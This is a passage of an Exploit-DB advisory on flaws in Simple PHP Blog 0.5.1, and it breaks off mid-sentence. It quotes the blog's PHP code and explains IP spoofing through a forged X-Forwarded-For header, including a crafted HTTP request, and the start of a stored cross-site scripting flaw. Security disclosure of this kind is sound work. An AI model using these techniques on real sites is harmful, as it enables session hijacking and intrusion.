Exploit-DB #4557
Description: Simple PHP Blog (sPHPblog) 0.5.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-22
Author: DarkFig

Exploit:
       Title:   Simple PHP Blog (sphpblog) <= 0.5.1 Multiple Vulnerabilities
      Vendor:   http://sourceforge.net/projects/sphpblog/

    Advisory:   http://acid-root.new.fr/?0:15
      Author:   DarkFig < gmdarkfig (at) gmail (dot) com >

 Released on:   2007/10/21
   Changelog:   ----------
                                                     L   M   H   T
     Summary:   Ip Spoofing                         [X] [_] [_] [X]
                Cross Site Scripting                [X] [_] [_] [X]
                Session Fixation                    [X] [_] [_] [X]
                mail() CRLF Injection               [X] [_] [_] [_]
                Local File Inclusion (+CSRF)        [_] [X] [_] [X]
                File Deletion (+CSRF)               [_] [X] [_] [X]
                File Upload Vulnerability           [_] [_] [X] [X]
                Code Execution (+CSRF)              [_] [_] [X] [X]

      Legend:   L - Low risk         M - Medium risk
                H - High risk        T - Tested

  Risk level:   Medium / High
         CVE:   ----------



  I - IP SPOOFING

  The file "scripts/sb_communicate.php" contains the following
  code: 

  19| function getIP() {
  20|  if ( !empty ( $_SERVER[ 'HTTP_CLIENT_IP' ] ) ) {
  21|   	  $ip = $_SERVER[ 'HTTP_CLIENT_IP' ];
  22|  }
  23|  else if ( !empty ( $_SERVER[ 'HTTP_X_FORWARDED_FOR' ] ) ) {
  24|  	  $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];
  25|  }
  26|  else if ( !empty ( $_SERVER[ 'REMOTE_ADDR' ] ) ) {
  27| 	  $ip = $_SERVER[ 'REMOTE_ADDR' ];
  28|  }
  29|  else if ( getenv( "HTTP_CLIENT_IP" ) ) {
  30|   	  $ip = getenv( "HTTP_CLIENT_IP" );
  31|  }
  32|  else if ( getenv( "HTTP_X_FORWARDED_FOR" ) ) {
  33| 	  $ip = getenv( "HTTP_X_FORWARDED_FOR" );
  34|  }
  35|  else if ( getenv( "REMOTE_ADDR") ) {
  36|   	  $ip = getenv( "REMOTE_ADDR" );
  37|  }
  38|  else { 
  39| 	  $ip = "UNKNOWN";
  40|  }
  41|  return( $ip );
  42|  }

  So, an attacker can spoof his IP, he just have to create
  an HTTP packet, add a special header, and send it. The
  HTTP packet will look's like this:
  
  GET /index.php HTTP/1.1\r\n
  Host: localhost\r\n
  X-Forwarded-For: 127.0.0.1\r\n
  Connection: keep-alive\r\n\r\n
  
  Later, we'll see how to gain the administrator's session
  id. Even if we got the good session id, there is a
  protection that "normally" don't permit to be logged in.
  Let's see a part of the file "scripts/sb_login.php":
  
  28| // Check if user is logged in.
  29| if ( isset( $_SESSION[ 'logged_in' ] ) &&
    |             $_SESSION[ 'logged_in' ] == 'yes' ) {
    |
  30|   if ( $_SESSION[ 'site_path' ] ===
    |        dirname($_SERVER[ 'PHP_SELF' ]) ) {
    |
  31|     if ( $_SESSION[ 'ip' ] === getIP() ) {
  32|       // User is logged in.
  33|       return ( true );
  34|     }
  35|   }
  36| }
  
  Thanks to the getIP() function, if we know the
  administrator's IP (later we'll see how to get it easily),
  we can bypass the third condition.



  II - CROSS SITE SCRIPTING

  When a guest add a comment, an HTTP packet is sent to
  "comment_add_cgi.php". Before writing the comment into
  a file, there is some conditions, the first condition is
  that the IP sent with the POST method, must be the same
  as the IP returned by the getIP() function. Let's see
  the code:

  88| if ($ok) {
  89| 	// Verify that posted IP and actual IP matches.
  90| 	if ( getIP() === $_POST['user_ip'] ) {
  91| 		$ipMatches = true;
  92| 	} else {
  93| 		$ipMatches = false;
  94| 		$ok = false;
  95| 		$error_message = $lang_string[ 'error_no_match' ];
  96| 	}
  97| }

  This is useless, I don't know what the author wanted to
  do but this can be bypassed easily. After some conditions,
  the write_comment() function is called:
  
  219| $result = write_comment( $_POST[ 'y' ], $_POST[ 'm' ],
     |          $_POST[ 'entry' ],
  220| 		$comment_name,
  221| 		$comment_email,
  222| 		$comment_url,
  223| 		$comment_text,
  224| 		$_POST[ 'user_ip' ],
  225| 		$moderationFlag,
  226| 		time() );

  This function is situated in "scripts/sb_comments.php".
  Let's see the data which will be stored in a file:

  519| // Save the file
  520| $save_data = array();
  521| $save_data[ 'VERSION' ] = $sb_info[ 'version' ];
  522| $save_data[ 'NAME' ] = clean_post_text( $comment_name );
  523| $save_data[ 'DATE' ] = $comment_date;
  524| $save_data[ 'CONTENT' ] = sb_parse_url( clean_post_text( $comment_text ) );
     |
  525| if ( $comment_email != '' ) {
  526|   $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );
  527| }
     |
  528| if ( $comment_url != '' ) {
  529|   $save_data[ 'URL' ] = clean_post_text( $comment_url );
  530| }
     |
  531| $save_data[ 'IP-ADDRESS' ] = $user_ip; // New 0.4.8
  532| $save_data[ 'MODERATIONFLAG' ] = $hold_flag;
  533| 
  534| // Implode the array
  535| $str = implode_with_keys( $save_data );
  536| 
  537| // Save the file
  538| $result = sb_write_file( $entryFile, $str ); 

  The clean_post_text() function protect against XSS, it
  also replace a string separator (by its html equivalent)
  which is used when comment's data are extracted.
  This function is in the file "scripts/sb_formatting.php":

  13| function clean_post_text( $str ) {
  14| 	// Cleans post text input.
  15| 	//
  16| 	// Strip out and replace pipes with colons. HTML-ize entities.
  17| 	// Use charset from the language file to make sure we're only
  18| 	// encoding stuff that needs to be encoded.
  19| 	//
  20| 	// This makes entries safe for saving to a file (since the data
  21| 	// format is pipe delimited.)
  22| 	global $lang_string;
  23| 	$str = str_replace( '|', '|', $str );
  24| 	$str = @htmlspecialchars( $str, ENT_QUOTES, $lang_string[ 'php_charset' ] );
  25| 
  26| 	return ( $str );
  27| }

  The clean_post_text() function isn't applied to the